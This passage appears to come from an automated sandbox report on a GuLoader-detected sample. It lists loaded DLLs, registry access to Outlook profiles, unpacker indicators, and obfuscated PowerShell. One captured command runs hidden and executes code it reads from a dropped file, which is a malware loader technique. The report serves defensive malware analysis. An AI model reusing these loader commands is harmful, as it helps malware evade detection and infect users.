            Source: C:\Windows\SysWOW64\compact.exeSection loaded: userenv.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: sppc.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: onecorecommonproxystub.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: onecoreuapcommonproxystub.dll
            Source: C:\Windows\SysWOW64\compact.exeSection loaded: apphelp.dll
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeSection loaded: wininet.dll
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeSection loaded: mswsock.dll
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeSection loaded: dnsapi.dll
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeSection loaded: iphlpapi.dll
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeSection loaded: rasadhlp.dll
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeSection loaded: fwpuclnt.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: uxtheme.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: userenv.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: apphelp.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: propsys.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: dwmapi.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: cryptbase.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: oleacc.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: ntmarta.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: version.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: shfolder.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: kernel.appcore.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: windows.storage.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: wldp.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: profapi.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: riched20.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: usp10.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: msls31.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: textinputframework.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: coreuicomponents.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: coremessaging.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: coremessaging.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: wintypes.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: wintypes.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: wintypes.dll
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeSection loaded: textshaping.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dll
            Source: C:\Users\user\AppData\Local\Temp\Smilet.exeSection loaded: iertutil.dll
            Source: C:\Users\user\AppData\Local\Temp\Smilet.exeSection loaded: sspicli.dll
            Source: C:\Users\user\AppData\Local\Temp\Smilet.exeSection loaded: powrprof.dll
            Source: C:\Users\user\AppData\Local\Temp\Smilet.exeSection loaded: winhttp.dll
            Source: C:\Users\user\AppData\Local\Temp\Smilet.exeSection loaded: wkscli.dll
            Source: C:\Users\user\AppData\Local\Temp\Smilet.exeSection loaded: netutils.dll
            Source: C:\Users\user\AppData\Local\Temp\Smilet.exeSection loaded: umpdc.dll
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
            Source: C:\Windows\SysWOW64\compact.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\
            Source: P1 HWT623ATG.bat.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
            Source: P1 HWT623ATG.bat.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: compact.pdbGCTL source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576160374.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3718182571.0000000000718000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: mshtml.pdb source: Smilet.exe, 00000028.00000001.3704245850.0000000000649000.00000020.00000001.01000000.00000014.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3709303599.000000000005E000.00000002.00000001.01000000.0000000F.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3709074079.000000000005E000.00000002.00000001.01000000.0000000F.sdmp
            Source: Binary string: wntdll.pdbUGP source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1578452345.00000000038DE000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3721271151.0000000003A90000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1575491955.0000000003721000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3721271151.0000000003C2E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: P1 HWT623ATG.bat.exe, P1 HWT623ATG.bat.exe, 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1578452345.00000000038DE000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3721271151.0000000003A90000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1575491955.0000000003721000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3721271151.0000000003C2E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: compact.pdb source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576160374.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3718182571.0000000000718000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: mshtml.pdbUGP source: Smilet.exe, 00000028.00000001.3704245850.0000000000649000.00000020.00000001.01000000.00000014.sdmp

            Data Obfuscation

            barindex
            Yara detected GuLoader
            Source: Yara matchFile source: 00000028.00000002.3709150978.0000000003F84000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            .NET source code contains potential unpacker
            Source: P1 HWT623ATG.bat.exe, Form1.cs.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
            Source: GnVIdcfKFYG.exe.1.dr, Form1.cs.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
            Source: 1.2.P1 HWT623ATG.bat.exe.64c0000.9.raw.unpack, .cs.Net Code: System.Reflection.Assembly.Load(byte[])
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, s1DyL6nIr3WcZnwnks.cs.Net Code: wNalb7SA3S System.Reflection.Assembly.Load(byte[])
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, s1DyL6nIr3WcZnwnks.cs.Net Code: wNalb7SA3S System.Reflection.Assembly.Load(byte[])
            Source: 1.2.P1 HWT623ATG.bat.exe.311b5f8.1.raw.unpack, .cs.Net Code: System.Reflection.Assembly.Load(byte[])
            Source: 10.2.GnVIdcfKFYG.exe.252b60c.7.raw.unpack, .cs.Net Code: System.Reflection.Assembly.Load(byte[])
            Found suspicious powershell code related to unpacking or dynamic code loading
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: GetDelegateForFunctionPointer((Extensile $Fodsveds $Skiveboer), (Bechalks @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Anvender = [AppDomain]::CurrentDomain.GetAssemblies()$global:For
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Unluxurious67)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Periodeklasse, $false).DefineType($Forgrene
            Obfuscated command line found
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
            Suspicious powershell command line found
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Algolagnic=Get-Content 'C:\Users\user\AppData\Local\erindres\keres\Renowned.tha';$Gnaskerierne=$Algolagnic.SubString(53079,3);.$Gnaskerierne($Algolagnic)"
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Algolagnic=Get-Content 'C:\Users\user\AppData\Local\erindres\keres\Renowned.tha';$Gnaskerierne=$Algolagnic.SubString(53079,3);.$Gnaskerierne($Algolagnic)"
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_064AC7A5 pushad ; retf 1_2_064AC7A8
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_064A0E60 pushad ; ret 1_2_064A0E61
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_07939780 push eax; retf 1_2_07939781
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_0793C6CD push FFFFFF8Bh; iretd 1_2_0793C6CF
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_00418141 push eax; ret 9_2_00418149
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_00407954 push esp; retf 9_2_00407956
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_004021C8 push 9A9BCBBFh; retf 9_2_004021CD
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0041426D push esp; iretd 9_2_0041426E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_00407A02 push esp; retf 9_2_00407A07
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0041E2FA push edi; iretd 9_2_0041E33C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0041E303 push edi; iretd 9_2_0041E33C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_00418421 push esp; iretd 9_2_0041843F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_00411CC2 push eax; retf 9_2_00411CC6
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_004035D0 push eax; ret 9_2_004035D2
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_00413E00 push es; retn 4BB0h9_2_00413DFF
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012309AD push ecx; mov dword ptr [esp], ecx9_2_012309B6
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 10_2_0587C7A5 pushad ; retf 10_2_0587C7A8
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0118C54D pushfd ; ret 23_2_0118C54E
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0118C54F push 8B011167h; ret 23_2_0118C554
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_011409AD push ecx; mov dword ptr [esp], ecx23_2_011409B6
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0118C9D7 push edi; ret 23_2_0118C9D9
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01111FEC push eax; iretd 23_2_01111FED
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_01197E99 push ecx; ret 23_2_01197EAC
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 23_2_0042C161 push edx; ret 23_2_0042C16A
            Source: P1 HWT623ATG.bat.exeStatic PE information: section name: .text entropy: 7.925374523955337
            Source: GnVIdcfKFYG.exe.1.drStatic PE information: section name: .text entropy: 7.925374523955337
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, NRVK2hJ6dXJNQyKZOO.csHigh entropy of concatenated method names: 'ToString', 'ka7GwS8glg', 'k36GZUZ7CB', 'd94GB9bJHU', 'hqNGqJOklO', 'eSdGd6Mk2M', 'f5HGhPHfnd', 'o2xGPYdohx', 'JXTG3W92Fu', 'FsqGFSqKH6'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, KNppUKr85kkwKH4qwo.csHigh entropy of concatenated method names: 'h4rUQ3ENSl', 'C9KUanZHxW', 'HZ6Uy9BL8o', 'whvU66qlp6', 'aglUSg9rMJ', 'ocqUYnTI4u', 'eKDUcO0bhZ', 'E8cUN26IxA', 'RORUJMlZu1', 'ac7UEUuwUJ'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, FcbtOO8WgfsF9hQ5gx.csHigh entropy of concatenated method names: 'vxSaRsOIEy', 'FNRaebSv87', 'twrapcNke7', 'YWCa4dwZBU', 'anNajAVgqf', 'TTuaftkqDC', 'k2oamKa80d', 'ogcaCbTYTG', 'fABaAOSZ1G', 'bsCaLj6bOM'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, HJwCVeVbbxipNAU9GT.csHigh entropy of concatenated method names: 'fUaSMFj1jE', 'ScuSahOX8l', 'd26S61jWbo', 'I34SYK67Bo', 'xsYScuiDHr', 'sQF6jmbhao', 'Xdf6fq4C8L', 'wPF6mwlVvC', 'XQj6C2JK73', 'dQ16AH65Au'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, aQJnHScI5wvZXZMTWm.csHigh entropy of concatenated method names: 'Dispose', 'g7c7Aiwq7S', 'qOcrZYuqsd', 'ptvDDItpY6', 'C5F7LpSDqp', 'i2T7zCsZVq', 'ProcessDialogKey', 'R2Nr8GkSRX', 'Optr7GRrQ1', 'aoRrrCVtPS'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, l6XwAUzWixuITKWwX4.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'T2tv2o3Xmn', 'UTFvoFx5Mc', 'usEvGDJmoN', 'tP4v5EM91Z', 'uQ3vUvxwTh', 'xgWvvx90G5', 'KcHvkVwklE'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, V1MXp9MZRVUG2WnmBe.csHigh entropy of concatenated method names: 'LOd5CRkJpm', 'hWu5LjFuQP', 'fYMU8dJjBH', 'bdaU7JGGH9', 'API5w1tBYZ', 'Vse5nXvHH7', 'hoR5XDdTx0', 'VpC5Rg8ZDK', 'oye5eCQ000', 'HI25pc74Ov'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, bDmkrJF0yMmG3cWhFP.csHigh entropy of concatenated method names: 'GYfyOuWSkM', 'Gv9yIsyeqs', 'ITvyV3WjFN', 'YXEyi2SjAs', 'VGTyouNxGi', 'FsEyG7AAUa', 'I6Yy5hkRDM', 'cCoyULUVIh', 'lQHyv8E8mm', 'dpaykgMpwS'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, s1DyL6nIr3WcZnwnks.csHigh entropy of concatenated method names: 'XxrTMXvM3s', 'rkeTQavVUc', 'sYkTa1KDHR', 'OqNTy0wfun', 'xdMT6UkmtI', 'jgLTSgYcY0', 'knYTY6QfFr', 'lVITc3xHvg', 'u5vTN0C2pl', 'sJnTJ9Krpc'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, y1ISFm1UW32ChpJwDw.csHigh entropy of concatenated method names: 'B6M7YFImdT', 'K5k7cP5gH6', 'afv7Jiu40i', 'QUS7EhSXyF', 'UYv7ol5Wts', 'mtX7GD02pc', 'WRvkjyKspom3KMHwIv', 'lP0wBNuQ4LhwN55i59', 'exy77xSduM', 'My97TqMRvO'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, CeFBhkjXl7DfEU5pnic.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'F0SkRQCtym', 'eI7keP2KSP', 'JVekpRuPJu', 'dQak4sejCx', 'qk1kjw4HPV', 'dxmkfZHna1', 'GmVkmuafNB'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, mq96kWukfK2Q9hUELT.csHigh entropy of concatenated method names: 'EXibIJjLk', 'F8uO41ANo', 'u5OI4MqsE', 'v0b1SKyYw', 'MGdila3sm', 'zODuiiTYD', 'r2cRcOIaSAkpN1lV3G', 'HyahwmctveqvyR6wxB', 'Gh6UqQojS', 'uBWk6pHLQ'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, vQeePpjddQ8t34fOAnU.csHigh entropy of concatenated method names: 'r0SvHtcNlU', 'eLQv0gQlLL', 'KravbiplKh', 'U1YvONek55', 'He5vgvkaDM', 'YgivIhNEwR', 'j9Fv1xiQCs', 'tjCvVEV1Ee', 'LqoviNXAfp', 'uCBvuG7GZ6'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, rAn20DjuqaPuLG6SOA8.csHigh entropy of concatenated method names: 'gSDkHWkxn9', 'JNYk0gZ5O8', 'bojkbmgGxE', 'KwfJR9pcKhyd25CRnZ1', 's6hiwdpPevI7gKoyEBV', 'zLGuL5pB6IdX3FjNPR5', 'AWcjEhpraxGn07OK4Xy'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, Pp2hjWWk1HDNpyBeLi.csHigh entropy of concatenated method names: 'fOTYHBlsB9', 'QjvY0sgA34', 'Tl8YbapZuZ', 'PQeYO1mL1J', 'OH1YgdJRtf', 'iuFYIbJTWK', 'Xr9Y1QnLOL', 'MmIYVxC0qU', 'MDPYiu6kJR', 'ax1YuvjDWk'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, jKhuK7lYn9WVynG1co.csHigh entropy of concatenated method names: 'P9OoWow4nm', 'Hocont8fpP', 'DAZoRW9BFs', 'XdGoewkelT', 'CypoZspnr9', 'gmKoBkM5jG', 'njxoqdrggw', 'd5codKQlBZ', 'QZ7ohp28yI', 'SgXoPiOkEU'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, UweUfDTNqoWbI1Olm6.csHigh entropy of concatenated method names: 'soTYQYCH1A', 'EvcYyleQ34', 'TwtYS8lET0', 'CQASLP8BT5', 'FYuSz4SEsC', 'VUxY8gTQgV', 'whUY7p1LJZ', 'CjfYrBTdwW', 'anxYTDRt6J', 'qbMYlKm3M9'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, suQaChQd9xLiBcArN6.csHigh entropy of concatenated method names: 'EymU9hp9qy', 'KewUZRKktq', 'zDZUBKMhZw', 'DDwUqWkHS7', 'kXXURBq7my', 'T4xUd4nnfk', 'Next', 'Next', 'Next', 'NextBytes'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, S12h4verlINyR2XZ17.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Cx2rAOCadQ', 'FCUrLcH5NH', 'gXDrzl2UGo', 'FDST8clyn8', 'SbRT7qxNTF', 'pkMTrfgP3a', 'KhvTTQJYZX', 'CXiTr5qpXkXBXDSFdwE'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, aah938iUx3YME6xSJG.csHigh entropy of concatenated method names: 'TrSv717pm6', 'E7UvTMsKuq', 'IjkvlsUTsv', 'I94vQOQbhu', 'mT5va9Q7lo', 'ungv61v3It', 'WlpvSJ0ZTe', 'EvcUm264YP', 'RWSUCLbbpr', 'TpsUAsjHZT'
            Source: 1.2.P1 HWT623ATG.bat.exe.7c70000.12.raw.unpack, GDJBwVybNjOcuS31Hc.csHigh entropy of concatenated method names: 'hPe2V1Gxa9', 'ctX2ivAP4u', 'q4I29TKdB0', 'rT92ZgMRDY', 'qIy2qNHMG8', 'NVJ2dBrPHE', 'tSU2PaP4IB', 'Qsa2306e4c', 'Hes2WD9ZCF', 'JqC2whfaX1'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, NRVK2hJ6dXJNQyKZOO.csHigh entropy of concatenated method names: 'ToString', 'ka7GwS8glg', 'k36GZUZ7CB', 'd94GB9bJHU', 'hqNGqJOklO', 'eSdGd6Mk2M', 'f5HGhPHfnd', 'o2xGPYdohx', 'JXTG3W92Fu', 'FsqGFSqKH6'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, KNppUKr85kkwKH4qwo.csHigh entropy of concatenated method names: 'h4rUQ3ENSl', 'C9KUanZHxW', 'HZ6Uy9BL8o', 'whvU66qlp6', 'aglUSg9rMJ', 'ocqUYnTI4u', 'eKDUcO0bhZ', 'E8cUN26IxA', 'RORUJMlZu1', 'ac7UEUuwUJ'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, FcbtOO8WgfsF9hQ5gx.csHigh entropy of concatenated method names: 'vxSaRsOIEy', 'FNRaebSv87', 'twrapcNke7', 'YWCa4dwZBU', 'anNajAVgqf', 'TTuaftkqDC', 'k2oamKa80d', 'ogcaCbTYTG', 'fABaAOSZ1G', 'bsCaLj6bOM'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, HJwCVeVbbxipNAU9GT.csHigh entropy of concatenated method names: 'fUaSMFj1jE', 'ScuSahOX8l', 'd26S61jWbo', 'I34SYK67Bo', 'xsYScuiDHr', 'sQF6jmbhao', 'Xdf6fq4C8L', 'wPF6mwlVvC', 'XQj6C2JK73', 'dQ16AH65Au'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, aQJnHScI5wvZXZMTWm.csHigh entropy of concatenated method names: 'Dispose', 'g7c7Aiwq7S', 'qOcrZYuqsd', 'ptvDDItpY6', 'C5F7LpSDqp', 'i2T7zCsZVq', 'ProcessDialogKey', 'R2Nr8GkSRX', 'Optr7GRrQ1', 'aoRrrCVtPS'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, l6XwAUzWixuITKWwX4.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'T2tv2o3Xmn', 'UTFvoFx5Mc', 'usEvGDJmoN', 'tP4v5EM91Z', 'uQ3vUvxwTh', 'xgWvvx90G5', 'KcHvkVwklE'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, V1MXp9MZRVUG2WnmBe.csHigh entropy of concatenated method names: 'LOd5CRkJpm', 'hWu5LjFuQP', 'fYMU8dJjBH', 'bdaU7JGGH9', 'API5w1tBYZ', 'Vse5nXvHH7', 'hoR5XDdTx0', 'VpC5Rg8ZDK', 'oye5eCQ000', 'HI25pc74Ov'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, bDmkrJF0yMmG3cWhFP.csHigh entropy of concatenated method names: 'GYfyOuWSkM', 'Gv9yIsyeqs', 'ITvyV3WjFN', 'YXEyi2SjAs', 'VGTyouNxGi', 'FsEyG7AAUa', 'I6Yy5hkRDM', 'cCoyULUVIh', 'lQHyv8E8mm', 'dpaykgMpwS'
